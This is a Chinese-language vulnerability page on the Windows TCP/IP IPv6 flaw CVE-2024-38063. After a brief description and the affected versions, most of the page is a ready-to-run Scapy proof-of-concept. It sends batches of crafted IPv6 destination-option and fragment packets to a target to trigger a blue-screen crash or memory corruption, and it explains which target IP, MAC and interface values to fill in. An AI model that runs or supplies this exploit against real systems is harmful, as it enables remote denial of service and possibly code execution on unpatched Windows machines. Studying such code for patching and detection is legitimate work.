登录 白背景

Windows TCP/IP IPv6远程拒绝服务/代码执行漏洞(CVE-2024-38063)

一、漏洞简介

Windows TCP/IP 远程代码执行漏洞(CVE-2024-38063),Windows TCP/IP 组件中发现了一个整数下溢漏洞,可能会触发缓冲区溢出。未经身份验证的远程攻击者可以通过发送特制的 IPv6 数据包到目标Windows系统机器导致目标蓝屏崩溃,精心构造请求理论上存在远程代码执行的可能性。该漏洞影响了所有受 IPv6 支持的 Windows 版本,包括即将发布的 Windows 11 版本 24H2。禁用 IPv6 的系统不受此漏洞的影响,但对于启用 IPv6 的系统,存在很大的利用风险。

二、影响版本

启用 IPv6 的系统

三、漏洞复现

from scapy.all import *

iface=''
ip_addr=''
mac_addr=''
num_tries=20
num_batches=20

def get_packets_with_mac(i):
    frag_id = 0xdebac1e + i
    first = Ether(dst=mac_addr) / IPv6(fl=1, hlim=64+i, dst=ip_addr) / IPv6ExtHdrDestOpt(options=[PadN(otype=0x81, optdata='a'*3)])
    second = Ether(dst=mac_addr) / IPv6(fl=1, hlim=64+i, dst=ip_addr) / IPv6ExtHdrFragment(id=frag_id, m = 1, offset = 0) / 'aaaaaaaa'
    third = Ether(dst=mac_addr) / IPv6(fl=1, hlim=64+i, dst=ip_addr) / IPv6ExtHdrFragment(id=frag_id, m = 0, offset = 1)
    return [first, second, third]

def get_packets(i):
    if mac_addr != '':
        return get_packets_with_mac(i)
    frag_id = 0xdebac1e + i
    first = IPv6(fl=1, hlim=64+i, dst=ip_addr) / IPv6ExtHdrDestOpt(options=[PadN(otype=0x81, optdata='a'*3)])
    second = IPv6(fl=1, hlim=64+i, dst=ip_addr) / IPv6ExtHdrFragment(id=frag_id, m = 1, offset = 0) / 'aaaaaaaa'
    third = IPv6(fl=1, hlim=64+i, dst=ip_addr) / IPv6ExtHdrFragment(id=frag_id, m = 0, offset = 1)
    return [first, second, third]

final_ps = []
for _ in range(num_batches):
    for i in range(num_tries):
        final_ps += get_packets(i) + get_packets(i)

print("Sending packets")
if mac_addr != '':
    sendp(final_ps, iface)
else:
    send(final_ps, iface)

for i in range(60):
    print(f"Memory corruption will be triggered in {60-i} seconds", end='\r')
    time.sleep(1)
print("")
iface填攻击机网卡名
ip_addr填目标机器IP
mac_addr填目标机器mac,mac地址的-改为:填入

原文: https://www.yuque.com/xiaokp7/ocvun2/dgo8dphb1tpoxwq7